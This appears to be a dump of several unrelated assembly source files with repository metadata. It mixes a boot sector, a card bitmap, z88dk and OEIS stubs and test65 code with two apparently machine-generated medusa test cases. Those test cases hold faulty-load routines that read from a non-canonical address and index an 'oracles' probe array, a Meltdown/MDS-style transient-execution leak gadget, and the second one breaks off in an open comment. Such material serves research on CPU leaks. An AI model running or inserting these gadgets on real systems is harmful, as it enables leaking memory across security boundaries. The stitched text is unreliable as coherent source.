%ifndef SSV_COMMON_FUNCS
%define SSV_COMMON_FUNCS
ssvcf_impl_saveRegisters:
push eax
push ebx
push ecx
push edx
ret
ssvcf_impl_restoreRegisters:
pop edx
pop ecx
pop ebx
pop eax
ret
ssvcf_linuxPrintTerm:
push ebx
push eax
push ecx
push edx
mov ebx, 1
mov eax, 4
mov ecx, [esp + 8 + 16]
mov edx, [esp + 4 + 16]
int 80h
pop edx
pop ecx
pop eax
pop ebx
ret
%endif
| 10.710526
| 28
| 0.68059
|
1e12e16faa2ce9b930a528bb1e19169204a73031
| 6,974
|
asm
|
Assembly
|
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca_notsx.log_21829_932.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca_notsx.log_21829_932.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca_notsx.log_21829_932.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x1db09, %rdi
nop
nop
nop
nop
nop
xor $25386, %rsi
movb (%rdi), %cl
nop
nop
nop
nop
cmp $45537, %rdx
lea addresses_WC_ht+0x337, %rsi
nop
nop
and $16902, %r11
mov (%rsi), %dx
nop
sub %rcx, %rcx
lea addresses_normal_ht+0x1e8b7, %rax
clflush (%rax)
nop
nop
nop
inc %r13
vmovups (%rax), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %rcx
nop
nop
nop
xor $26911, %rax
lea addresses_WT_ht+0x3531, %rdx
nop
nop
add $50374, %rsi
movw $0x6162, (%rdx)
nop
nop
nop
nop
dec %rcx
lea addresses_UC_ht+0x12833, %r13
nop
nop
xor $9182, %rdx
mov $0x6162636465666768, %rsi
movq %rsi, (%r13)
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_UC_ht+0x12917, %rdi
nop
sub %rdx, %rdx
movl $0x61626364, (%rdi)
nop
nop
nop
nop
cmp %rcx, %rcx
lea addresses_D_ht+0x19ab7, %rsi
lea addresses_D_ht+0x15377, %rdi
nop
nop
nop
nop
cmp $23473, %r14
mov $27, %rcx
rep movsw
nop
nop
nop
cmp %r13, %r13
lea addresses_A_ht+0xd1b7, %rcx
nop
nop
nop
nop
dec %rax
mov (%rcx), %rsi
nop
nop
and $14558, %rdx
lea addresses_WT_ht+0x10417, %rsi
lea addresses_A_ht+0x90b7, %rdi
nop
nop
add %rdx, %rdx
mov $95, %rcx
rep movsl
nop
nop
sub $10752, %rsi
lea addresses_UC_ht+0x17457, %rsi
lea addresses_UC_ht+0x11aa7, %rdi
nop
nop
nop
cmp $50366, %r13
mov $0, %rcx
rep movsq
nop
add %rax, %rax
lea addresses_WT_ht+0x1b7bf, %rdi
nop
nop
nop
nop
nop
xor %rsi, %rsi
vmovups (%rdi), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $1, %xmm1, %r13
nop
nop
nop
nop
nop
lfence
lea addresses_UC_ht+0x16f57, %rdi
nop
nop
nop
nop
nop
dec %rdx
movb $0x61, (%rdi)
nop
nop
nop
nop
xor %r14, %r14
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r14
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %rbx
push %rdi
push %rdx
push %rsi
// Faulty Load
mov $0x3511820000000417, %rbx
nop
nop
nop
nop
nop
dec %rdi
mov (%rbx), %r11
lea oracles, %r13
and $0xff, %r11
shlq $12, %r11
mov (%r13,%r11,1), %r11
pop %rsi
pop %rdx
pop %rdi
pop %rbx
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_D_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 4}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 33.528846
| 2,999
| 0.658015
|
bb3d787b263de2f10645a71ff36b4c0a28677c2d
| 157
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/z80/c/sccz80/z80_delay_tstate.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/z80/c/sccz80/z80_delay_tstate.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/z80/c/sccz80/z80_delay_tstate.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
; void z80_delay_tstate(uint tstates)
SECTION code_z80
PUBLIC z80_delay_tstate
EXTERN asm_z80_delay_tstate
defc z80_delay_tstate = asm_z80_delay_tstate
| 14.272727
| 44
| 0.853503
|
01813c9f0332c76d3ef02f4d928df8fc1c97c9e3
| 937
|
asm
|
Assembly
|
oeis/218/A218420.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/218/A218420.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/218/A218420.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A218420: Hilltop maps: number of n X 2 binary arrays indicating the locations of corresponding elements not exceeded by any horizontal, vertical or antidiagonal neighbor in a random 0..1 n X 2 array.
; Submitted by Christian Krause
; 3,13,49,191,737,2849,11011,42557,164481,635711,2456993,9496161,36702211,141852301,548252401,2118969471,8189716289,31652864193,122336815619,472825977597,1827449929601,7063007117695,27298186799297,105506194473793,407776426844163,1576036507800461,6091306192324657,23542608908492607,90991064431570209,351676139147157729,1359211562344801539,5253288084008265277,20303708751546420993,78472869272587588287,303293909857902252385,1172216545789369009825,4530561233049956061187,17510403824400011474701
mul $0,2
add $0,1
seq $0,218199 ; Hilltop maps: number of n X 1 binary arrays indicating the locations of corresponding elements not exceeded by any horizontal or vertical neighbor in a random 0..2 n X 1 array
| 117.125
| 491
| 0.854856
|
19e7483b95f740ea54997662273f2ff093c1e5a3
| 5,481
|
asm
|
Assembly
|
Appl/Art/Decks/GeoDeck/LCHeartT.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Appl/Art/Decks/GeoDeck/LCHeartT.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Appl/Art/Decks/GeoDeck/LCHeartT.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
LCHeartT label byte
word C_LIGHT_RED
Bitmap <71,99,BMC_PACKBITS,BMF_MONO>
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0x01, 0x18, 0x78, 0xfa, 0x00
db 0x01, 0x18, 0xfc, 0xfa, 0x00
db 0x01, 0x19, 0xce, 0xfa, 0x00
db 0x01, 0x19, 0x86, 0xfa, 0x00
db 0x01, 0x19, 0x86, 0xfa, 0x00
db 0x01, 0x19, 0x86, 0xfa, 0x00
db 0x01, 0x19, 0x86, 0xfa, 0x00
db 0x01, 0x19, 0x86, 0xfa, 0x00
db 0x08, 0x19, 0x86, 0x1e, 0x3c, 0x00, 0x78, 0xf0,
0x00, 0x00
db 0x08, 0x19, 0x86, 0x37, 0x6e, 0x00, 0xdd, 0xb8,
0x00, 0x00
db 0x08, 0x19, 0x86, 0x6f, 0xdf, 0x01, 0xbf, 0x7c,
0x00, 0x00
db 0x08, 0x19, 0x86, 0x7f, 0xff, 0x01, 0xff, 0xfc,
0x00, 0x00
db 0x08, 0x19, 0xce, 0x7f, 0xff, 0x01, 0xff, 0xfc,
0x00, 0x00
db 0x08, 0x18, 0xfc, 0x7f, 0xff, 0x01, 0xff, 0xfc,
0x00, 0x00
db 0x08, 0x18, 0x78, 0x3f, 0xfe, 0x00, 0xff, 0xf8,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x3f, 0xfe, 0x00, 0xff, 0xf8,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x1f, 0xfc, 0x00, 0x7f, 0xf0,
0x00, 0x00
db 0x08, 0x0e, 0x38, 0x0f, 0xf8, 0x00, 0x3f, 0xe0,
0x00, 0x00
db 0x08, 0x17, 0x5c, 0x07, 0xf0, 0x00, 0x1f, 0xc0,
0x00, 0x00
db 0x08, 0x1f, 0xfc, 0x03, 0xe3, 0xc7, 0x8f, 0x80,
0x00, 0x00
db 0x05, 0x1f, 0xfc, 0x01, 0xc6, 0xed, 0xc7, 0xfe,
0x00
db 0x05, 0x0f, 0xf8, 0x00, 0x8d, 0xfb, 0xe2, 0xfe,
0x00
db 0x05, 0x0f, 0xf8, 0x00, 0x0f, 0xff, 0xe0, 0xfe,
0x00
db 0x05, 0x07, 0xf0, 0x00, 0x0f, 0xff, 0xe0, 0xfe,
0x00
db 0x05, 0x03, 0xe0, 0x00, 0x0f, 0xff, 0xe0, 0xfe,
0x00
db 0x05, 0x01, 0xc0, 0x00, 0x07, 0xff, 0xc0, 0xfe,
0x00
db 0x05, 0x00, 0x80, 0x00, 0x07, 0xff, 0xc0, 0xfe,
0x00
db 0xfe, 0x00, 0x02, 0x03, 0xff, 0x80, 0xfe, 0x00
db 0xfe, 0x00, 0x01, 0x01, 0xff, 0xfd, 0x00
db 0xfd, 0x00, 0x00, 0xfe, 0xfd, 0x00
db 0xfd, 0x00, 0x00, 0x7c, 0xfd, 0x00
db 0x08, 0x00, 0x00, 0x1e, 0x3c, 0x38, 0x78, 0xf0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x37, 0x6e, 0x10, 0xdd, 0xb8,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x6f, 0xdf, 0x01, 0xbf, 0x7c,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x7f, 0xff, 0x01, 0xff, 0xfc,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x7f, 0xff, 0x01, 0xff, 0xfc,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x7f, 0xff, 0x01, 0xff, 0xfc,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x3f, 0xfe, 0x00, 0xff, 0xf8,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x3f, 0xfe, 0x00, 0xff, 0xf8,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x1f, 0xfc, 0x00, 0x7f, 0xf0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x0f, 0xf8, 0x00, 0x3f, 0xe0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x07, 0xf0, 0x00, 0x1f, 0xc0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x03, 0xe0, 0x00, 0x0f, 0x80,
0x00, 0x00
db 0x05, 0x00, 0x00, 0x01, 0xc0, 0x00, 0x07, 0xfe,
0x00
db 0xfe, 0x00, 0x02, 0x80, 0x00, 0x02, 0xfe, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xfe, 0x00, 0x02, 0x80, 0x00, 0x02, 0xfe, 0x00
db 0x05, 0x00, 0x00, 0x01, 0xc0, 0x00, 0x07, 0xfe,
0x00
db 0x08, 0x00, 0x00, 0x03, 0xe0, 0x00, 0x0f, 0x80,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x07, 0x70, 0x00, 0x1d, 0xc0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x0e, 0xf8, 0x00, 0x3b, 0xe0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x1d, 0xfc, 0x00, 0x77, 0xf0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x3b, 0xfe, 0x00, 0xef, 0xf8,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x37, 0xfe, 0x00, 0xdf, 0xf8,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x7f, 0xff, 0x01, 0xff, 0xfc,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x7f, 0xff, 0x01, 0xff, 0xfc,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x7f, 0xff, 0x01, 0xff, 0xfc,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x7f, 0xff, 0x01, 0xff, 0xfc,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x3f, 0x7e, 0x10, 0xfd, 0xf8,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x1e, 0x3c, 0x38, 0x78, 0xf0,
0x00, 0x00
db 0xfd, 0x00, 0x00, 0x7c, 0xfd, 0x00
db 0xfd, 0x00, 0x00, 0xee, 0xfd, 0x00
db 0xfe, 0x00, 0x01, 0x01, 0xdf, 0xfd, 0x00
db 0xfe, 0x00, 0x05, 0x03, 0xbf, 0x80, 0x00, 0x02,
0x00
db 0xfe, 0x00, 0x05, 0x07, 0x7f, 0xc0, 0x00, 0x07,
0x00
db 0xfe, 0x00, 0x05, 0x06, 0xff, 0xc0, 0x00, 0x0d,
0x80
db 0xfe, 0x00, 0x05, 0x0f, 0xff, 0xe0, 0x00, 0x1b,
0xc0
db 0xfe, 0x00, 0x05, 0x0f, 0xff, 0xe0, 0x00, 0x37,
0xe0
db 0xfe, 0x00, 0x05, 0x0f, 0xff, 0xe0, 0x00, 0x2f,
0xe0
db 0xfe, 0x00, 0x05, 0x8f, 0xff, 0xe2, 0x00, 0x7f,
0xf0
db 0x08, 0x00, 0x00, 0x01, 0xc7, 0xef, 0xc7, 0x00,
0x7f, 0xf0
db 0x08, 0x00, 0x00, 0x03, 0xe3, 0xc7, 0x8f, 0x80,
0x7d, 0xf0
db 0x08, 0x00, 0x00, 0x07, 0x70, 0x00, 0x1d, 0xc0,
0x38, 0xe0
db 0x08, 0x00, 0x00, 0x0e, 0xf8, 0x00, 0x3b, 0xe0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x1d, 0xfc, 0x00, 0x77, 0xf0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x3b, 0xfe, 0x00, 0xef, 0xf8,
0x3c, 0x30
db 0x08, 0x00, 0x00, 0x37, 0xfe, 0x00, 0xdf, 0xf8,
0x7e, 0x30
db 0x08, 0x00, 0x00, 0x7f, 0xff, 0x01, 0xff, 0xfc,
0xe7, 0x30
db 0x08, 0x00, 0x00, 0x7f, 0xff, 0x01, 0xff, 0xfc,
0xc3, 0x30
db 0x08, 0x00, 0x00, 0x7f, 0xff, 0x01, 0xff, 0xfc,
0xc3, 0x30
db 0x08, 0x00, 0x00, 0x7f, 0xff, 0x01, 0xff, 0xfc,
0xc3, 0x30
db 0x08, 0x00, 0x00, 0x3f, 0x7e, 0x00, 0xfd, 0xf8,
0xc3, 0x30
db 0x08, 0x00, 0x00, 0x1e, 0x3c, 0x00, 0x78, 0xf0,
0xc3, 0x30
db 0xfa, 0x00, 0x01, 0xc3, 0x30
db 0xfa, 0x00, 0x01, 0xc3, 0x30
db 0xfa, 0x00, 0x01, 0xc3, 0x30
db 0xfa, 0x00, 0x01, 0xc3, 0x30
db 0xfa, 0x00, 0x01, 0xe7, 0x30
db 0xfa, 0x00, 0x01, 0x7e, 0x30
db 0xfa, 0x00, 0x01, 0x3c, 0x30
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
| 32.625
| 53
| 0.624704
|
a4777960afb4214a6931ecb9d96c5f9e98a6fc34
| 130
|
asm
|
Assembly
|
t65/t65_test2_cfg.asm
|
PeterCamilleri/test65
|
3febf948d39a79331b63879bc1d6ea67b3eec520
|
[
"MIT"
] | null | null | null |
t65/t65_test2_cfg.asm
|
PeterCamilleri/test65
|
3febf948d39a79331b63879bc1d6ea67b3eec520
|
[
"MIT"
] | 20
|
2019-10-15T16:44:19.000Z
|
2020-07-25T11:50:29.000Z
|
t65/t65_test2_cfg.asm
|
PeterCamilleri/test65
|
3febf948d39a79331b63879bc1d6ea67b3eec520
|
[
"MIT"
] | null | null | null |
; Minimum code that passes a test
.include "test65.i65"
.export _main
.pc02
.zeropage
mem1: .res 32
.code
_main:
tests_pass
| 9.285714
| 33
| 0.715385
|
d9f4daa514112437d49e01c3b8bf23414ff019ae
| 461
|
asm
|
Assembly
|
asm/orangeOS/chapter1/a/boot.asm
|
BoKoIsMe/J1900_FreeBSD
|
19c4f7f01a37f4eda11a64040dad307a06563fb9
|
[
"BSD-2-Clause"
] | null | null | null |
asm/orangeOS/chapter1/a/boot.asm
|
BoKoIsMe/J1900_FreeBSD
|
19c4f7f01a37f4eda11a64040dad307a06563fb9
|
[
"BSD-2-Clause"
] | null | null | null |
asm/orangeOS/chapter1/a/boot.asm
|
BoKoIsMe/J1900_FreeBSD
|
19c4f7f01a37f4eda11a64040dad307a06563fb9
|
[
"BSD-2-Clause"
] | null | null | null |
org 7c00h ; 告诉编译器程序加载到7c00处
mov ax,cs
mov ds,ax
mov es,ax
call DispStr ; 调用显示字符串例程
jmp $ ; 无限循环
DispStr:
mov ax,BootMessage
mov bp,ax ; ES:BP = 串地址
mov cx,16 ; CX = 串长度
mov ax,01301h ; AH = 13h, AL = 01h
mov bx,000ch ;页号为0(BH = 0) 黑底红字(BL = 0ch,高亮)
mov dl,0
int 10h ; 10h 号中断
ret
BootMessage: db "Hello, OS world!"
times 510-($-$$) db 0 ;填充剩下的空间,使生成的二进制代码恰好等于512字节
dw 0xaa55 ; 结束标志
| 23.05
| 53
| 0.570499
|
5d8e2680bc321cc155b0f2f2ab5e3710086fea6b
| 143
|
asm
|
Assembly
|
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/risc.lzh/risc/sfxdos/ascii.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/risc.lzh/risc/sfxdos/ascii.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/risc.lzh/risc/sfxdos/ascii.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
Name: ascii.asm
Type: file
Size: 12622
Last-Modified: '1991-10-30T10:00:28Z'
SHA-1: C3E7C99A9AA8E3A6AD662A1567522A4BCD8180B3
Description: null
| 20.428571
| 47
| 0.811189
|
1489fd1a0167b28737424f74e0ba08289642d938
| 7,905
|
asm
|
Assembly
|
Transynther/x86/_processed/NC/_ht_st_zr_un_sm_/i7-8650U_0xd2_notsx.log_1508_891.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NC/_ht_st_zr_un_sm_/i7-8650U_0xd2_notsx.log_1508_891.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NC/_ht_st_zr_un_sm_/i7-8650U_0xd2_notsx.log_1508_891.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r15
push %r8
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0xb590, %r15
clflush (%r15)
nop
nop
nop
nop
xor $49696, %r12
mov (%r15), %r9d
nop
nop
nop
cmp %r9, %r9
lea addresses_WC_ht+0x6f50, %rcx
nop
xor $508, %r10
movw $0x6162, (%rcx)
nop
nop
nop
nop
nop
add $42816, %r12
lea addresses_UC_ht+0xb50, %rsi
cmp $29746, %r10
movw $0x6162, (%rsi)
nop
nop
nop
cmp %rsi, %rsi
lea addresses_normal_ht+0x18170, %rsi
dec %r8
mov (%rsi), %r10w
nop
nop
cmp $32590, %rcx
lea addresses_UC_ht+0x1ba4c, %r8
nop
nop
nop
xor $18970, %r15
mov $0x6162636465666768, %r9
movq %r9, (%r8)
nop
nop
nop
nop
sub $25266, %r8
lea addresses_D_ht+0x5690, %rsi
lea addresses_A_ht+0x1bdc6, %rdi
clflush (%rdi)
nop
nop
and %r10, %r10
mov $64, %rcx
rep movsb
nop
nop
nop
nop
nop
and %r10, %r10
lea addresses_WT_ht+0x15310, %r15
clflush (%r15)
nop
nop
nop
nop
and %r9, %r9
mov $0x6162636465666768, %r8
movq %r8, %xmm0
vmovups %ymm0, (%r15)
nop
nop
nop
nop
sub %r15, %r15
lea addresses_UC_ht+0x11070, %rsi
lea addresses_D_ht+0xe30, %rdi
clflush (%rsi)
nop
nop
xor $17125, %r12
mov $86, %rcx
rep movsq
and %r9, %r9
lea addresses_UC_ht+0xb954, %r15
nop
nop
nop
add $34837, %r8
mov (%r15), %edi
nop
nop
nop
nop
add %r15, %r15
lea addresses_A_ht+0x6c50, %rcx
nop
nop
nop
nop
dec %r10
mov $0x6162636465666768, %r15
movq %r15, (%rcx)
nop
nop
nop
nop
cmp %r10, %r10
lea addresses_WT_ht+0x1c320, %r10
nop
sub %r12, %r12
mov (%r10), %rcx
nop
nop
and $59405, %r9
lea addresses_UC_ht+0x5890, %rsi
lea addresses_UC_ht+0x7106, %rdi
clflush (%rdi)
nop
nop
and $37221, %r10
mov $23, %rcx
rep movsb
nop
nop
nop
add %rcx, %rcx
lea addresses_UC_ht+0x12890, %rsi
lea addresses_UC_ht+0x1e150, %rdi
nop
nop
and %r9, %r9
mov $116, %rcx
rep movsl
inc %r10
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r15
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %rbx
push %rcx
push %rdx
push %rsi
// Store
mov $0x3b86020000000890, %rcx
nop
nop
nop
nop
sub %rsi, %rsi
mov $0x5152535455565758, %r12
movq %r12, (%rcx)
nop
xor $41245, %rbx
// Faulty Load
mov $0x3b86020000000890, %rdx
nop
nop
add $5260, %r14
movb (%rdx), %bl
lea oracles, %r12
and $0xff, %rbx
shlq $12, %rbx
mov (%r12,%rbx,1), %rbx
pop %rsi
pop %rdx
pop %rcx
pop %rbx
pop %r14
pop %r12
pop %r11
ret
/*
